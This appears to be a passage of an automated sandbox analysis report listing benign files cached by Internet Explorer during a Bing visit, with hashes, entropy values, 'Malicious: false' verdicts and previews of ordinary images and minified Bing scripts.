SHA-512:	D8DC8358727590A1ED74DC70356AEDC0499552C2DC0CD4F7A01853DD85CEB3AEAD5FBDC7C75D7DA36DB6AF2448CE5ABDFF64CEBDCA3533ECAD953C061A9B338E
Malicious:	false
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5..n0..e,...5...................................................Ea.Z,..T$..T$..T

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\hx-eea1zqtCz4K0bW2uH_oN7Fs4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\iWHKha2Cu3AUNv_GRkKDPPuv8wM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (511), with no line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\iWHKha2Cu3AUNv_GRkKDPPuv8wM[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (511), with no line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\kxeSzXDO1K1Yb2MpwwwpTr6hVI4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (34732), with no line terminators
Category:	dropped
Size (bytes):	34732
Entropy (8bit):	5.452487645923916
Encrypted:	false
SSDEEP:	768:+J0AmB7aPmB7aU1THyBVyD3NSrGyDQS+mZvUhM/4S8SrmB:+aaUaJCDA3DjHZv37n6
MD5:	E4FB9B839186660B1F729B8DF8C994B4
SHA1:	931792CD70CED4AD586F6329C30C294EBEA1548E
SHA-256:	6838611C8AB6539005E11C84CA308158F89A51DB57A62CAF21FAAB48BF576177
SHA-512:	625436BB52CBD7DF7ED03BE05FEA52C5D54B6CC15037D70C268D9598E648A22246DB902B9C6F097BA8B18BD924F6AB17120736285D54DCE13773237F1669853A
Malicious:	false
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",w="_RwBf",b="rwmrst",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redDotImage.png",k=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible,hasUsedCcpTrial:n&&n.RewardsSessionData&&n.RewardsSessionData.HasUsedCcpTrial}}re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lmeA0hrUVE25iemGsvw6twmDJgw[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (841), with no line terminators
Category:	dropped
Size (bytes):	841
Entropy (8bit):	5.164356246203931
Encrypted:	false
SSDEEP:	12:9bGk4aZBJKbeS0YeHTwnJw7+GbSVTJjnWU+YWogltaOHUPbpbvN:hpCbe9YwZbSZRB+YgruDdV
MD5:	48833DEA59BC0B37177AB4C6C233DFBB
SHA1:	966780D21AD4544DB989E986B2FC3AB70983260C
SHA-256:	DE9CCA3CD151B7DD74DA15992299C993D91A424083C1EFB2A948230E87FECB4B
SHA-512:	B7E00BD79148657CA517B959C48B4E7E1F70CC7D5EC9B30DF5FBD0A7F6E9275F16797C7414CAC30FA6972F958D4A64E3AC45DC7D9BE8FD517F66D44AA78207EE
Malicious:	false
Preview:	var AlgoInnovationAnchorUrlRedirect;(function(){function t(){function t(){var r=_d.querySelectorAll(n),t,u;if(r)for(t=0;t<r.length;t++)u=r[t],u&&sj_be(u,"click",i)}function i(n){var t,i;if(n&&(t=n.target,i="",t&&t.parentNode&&t.parentNode!=null&&t.parentNode.tagName==="A"&&t.parentNode.classList.contains("batgil"))){var e=t.parentNode,o=e.getAttribute("href"),s=o.split("#:~:text=")[0];i=u(o)?f(s,t.innerText):s+="#:~:text="+t.innerText;r(i)&&e.setAttribute("href",i)}}function r(n){return n&&/^https?:\/\/.+/.test(n)}function u(n){return n.indexOf("bing.com")>0&&n.indexOf("/ck/a")>=0?!0:!1}function f(n,t){var i,r;if(!n)return"";try{return i=n.match(/u=a1([^&]*)/),r="",i&&i.length>1&&(r=i[1]),window.atob(r)+"#:~:text="+t}catch(u){return""}}t()}var n=".tltg ";t()})(AlgoInnovationAnchorUrlRedirect\|\|(AlgoInnovationAnchorUrlRedirect={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lvCKZ07bEYtoYmY62ifMzVa0RIE[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sbi[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (33353)
Category:	dropped
Size (bytes):	50926
Entropy (8bit):	5.4845675102741165
Encrypted:	false
SSDEEP:	768:okuL2ym/YIZE2u16tNz14nO2sya04O7JUDWvjygz+YI2QFSOc+YIXFWCPP6bzATP:9wP4SjyK4FWCqbwONiqP7CtN
MD5:	95866C0774DD3BC9B746C0244477437A
SHA1:	48950FC3F8869EEA974C53242BE741524029FF6D
SHA-256:	0CE2BC9F61BA5C2CB86EACDCC44C6B5C5C2302159DC06CA6023B035C0F13401F
SHA-512:	713FC46E8D85535CB4AC16994655CE7D5797304F91AF29690594F39D47F4A40B89EBC1D8158381729462F95FBCC0DF1664C98D495841E4B67F1C596D170FC656
Malicious:	false
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:18px;width:18px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\uhCnIv_xh3wzed7ntfAo1Gf_1s8[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (622), with no line terminators
Category:	dropped
Size (bytes):	622
Entropy (8bit):	5.265947581512117
Encrypted:	false
SSDEEP:	12:2QxhNgpOWEaaRHkj6iLUEkFKgsmqRRV6alt0Tk6iLUEkFkno:2QTepraRHk+i1kFKgsmqRRVZr8k6i1kh
MD5:	3104955279E1BBBDB4AE5A0E077C5A74
SHA1:	BA10A722FFF1877C3379DEE7B5F028D467FFD6CF
SHA-256:	A0A1CEE602080757FBADB2D23EAD2BBB8B0726B82FDB2ED654DA4403F1E78EF1
SHA-512:	6937ED6194E4842FF5B4878B0D680E02CAF3185BAF65EDC131260B56A87968B5D6C80F236C1DE1A059D8158BC93B80B831FE679F38FC06DFB7C3413D1D5355AA
Malicious:	false
Preview:	(function(){function n(){var n=_ge("id_p"),t,r,i;n&&(t="",r="",n.dataset?(t=n.dataset.src,r=n.dataset.alt):(t=n.getAttribute("data-src"),r=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=r},n.src=t,i=_d.getElementById("bp_shortcut_img"),i&&(i.setAttribute("src",t),i.onerror=function(){i.setAttribute("src","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=")})))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\uhCnIv_xh3wzed7ntfAo1Gf_1s8[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (622), with no line terminators
Category:	dropped
Size (bytes):	622
Entropy (8bit):	5.265947581512117
Encrypted:	false
SSDEEP:	12:2QxhNgpOWEaaRHkj6iLUEkFKgsmqRRV6alt0Tk6iLUEkFkno:2QTepraRHk+i1kFKgsmqRRVZr8k6i1kh
MD5:	3104955279E1BBBDB4AE5A0E077C5A74
SHA1:	BA10A722FFF1877C3379DEE7B5F028D467FFD6CF
SHA-256:	A0A1CEE602080757FBADB2D23EAD2BBB8B0726B82FDB2ED654DA4403F1E78EF1
SHA-512:	6937ED6194E4842FF5B4878B0D680E02CAF3185BAF65EDC131260B56A87968B5D6C80F236C1DE1A059D8158BC93B80B831FE679F38FC06DFB7C3413D1D5355AA
Malicious:	false
Preview:	(function(){function n(){var n=_ge("id_p"),t,r,i;n&&(t="",r="",n.dataset?(t=n.dataset.src,r=n.dataset.alt):(t=n.getAttribute("data-src"),r=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=r},n.src=t,i=_d.getElementById("bp_shortcut_img"),i&&(i.setAttribute("src",t),i.onerror=function(){i.setAttribute("src","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=")})))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zeCxMEtVi23nUD1VnJIBRkRzb4g[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\2LpcFhWkqO2O6Txcji6g-0kKCZQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1060), with no line terminators
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	5.351152776949957
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1nAA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGD0zRPo
MD5:	F4DA106E481B3E221792289864C2D02A
SHA1:	D8BA5C1615A4A8ED8EE93C5C8E2EA0FB490A0994
SHA-256:	47CB84D180C1D6BA7578C379BDC396102043B31233544E25A5A6F738BB425AC9
SHA-512:	66518EE1B6C0DF613074E500A393E973844529CA81437C4BAFE6BF111CBA4D697AF4FE36B8D1B2AA9B25F3EB93CD76DF63ABFC3269AC7E9F87C5F28A3764008E
Malicious:	false
Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(document.body,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[2].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\927Cz2OI3S9hrbXauDAfIEUYRvo[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1578), with no line terminators
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.329734499973321
Encrypted:	false
SSDEEP:	24:2QDoc8McY0tjLr4H5uRlcHeO0M2AieYIriev+OmbTkC6+xbDntex3CcldxQp3j7O:NfZuRy0N1eYZ0waSbO3CBp/GiCHAhG
MD5:	0C0AD3FD8C0F48386B239455D60F772E
SHA1:	F76EC2CF6388DD2F61ADB5DAB8301F20451846FA
SHA-256:	DB6DDE4AEF63304DF67B89F427019D29632345D8B3B5FE1B55980F5D78D6E1E7
SHA-512:	E45A51EF2F0021F168A70AC49BDCC7F4FB7B91FF0DDD931F8ECBD70F6494C56285B2D9BC1170804801CE178244CCF361745B677B04C388B608D1471E0695EBEB
Malicious:	false
Preview:	(function(){function d(n,t){for(var r=[],i=0;i<t.length;i++)r.push({MonitorID:t[i].name,RequestID:t[i].guid,Result:Math.round(n[i])});return JSON.stringify(r)}function u(){function n(){return Math.floor((1+Math.random())65536).toString(16).substring(1)}return n()+n()+n()+n()+n()+n()+n()+n()}function h(){return window.performance&&window.performance.getEntriesByName?!0:!1}function c(n,t,i,r,u,f){function l(i){var w,b,p,k,y,g,nt;if(e!=null&&sb_ct(e),s[i]=c!=null?(new Date).getTime()-c:-1,i=(a+v)%n.length,o=new Image,a++<n.length)c=(new Date).getTime(),o.onload=function(){l(i)},w=function(){o.onload=null;o.onerror=null;c=null;l(i)},e=sb_st(function(){w()},t),o.onerror=function(){e!=null&&sb_ct(e);e=null;w()},o.src=n[i];else{if(r!=null&&r.length!==0){if(h())for(y=0;y<n.length;y++)b=n[y],p=window.performance.getEntriesByName(b),s[y]!=-1&&p&&p[0]&&(s[y]=p[0].duration);for(k=d(s,u),y=0;y<r.length;y++)g=r[y],nt=new Image,nt.src=g+k}f!=null&&f()}}var c,e,s=[],v=Math.floor(Math.random()n.lengt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Elj9SKh02Ay2Nb5FT55AI6DffEk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (918), with no line terminators
Category:	dropped
Size (bytes):	918
Entropy (8bit):	5.212381384143468
Encrypted:	false
SSDEEP:	24:i2387E/Xv3qtMbKRgibYe9BqoGbKR7oGbY7oGbnewCY0ZWFU0fZy5c6MwQOR:dqtMbK7bLrGbKuGbjGbnXTWWSr5c6MwV
MD5:	341FC0ACD15DF6D8A064E4C3A896F65D
SHA1:	1258FD48A874D80CB635BE454F9E4023A0DF7C49
SHA-256:	4BC6635D4D95F9C05A91904B19370A40CC6E4C2AB43661C00615EDDADEFCF9EB
SHA-512:	6B552D786E782C36F17BEE1A6AE204F1E8C9F85BE5EB9ADAC1793D60B537CAD13228CB2D4299949F051E6BC364C2E5A4105DE9BBF2885F492EDB425CB14CE982
Malicious:	false
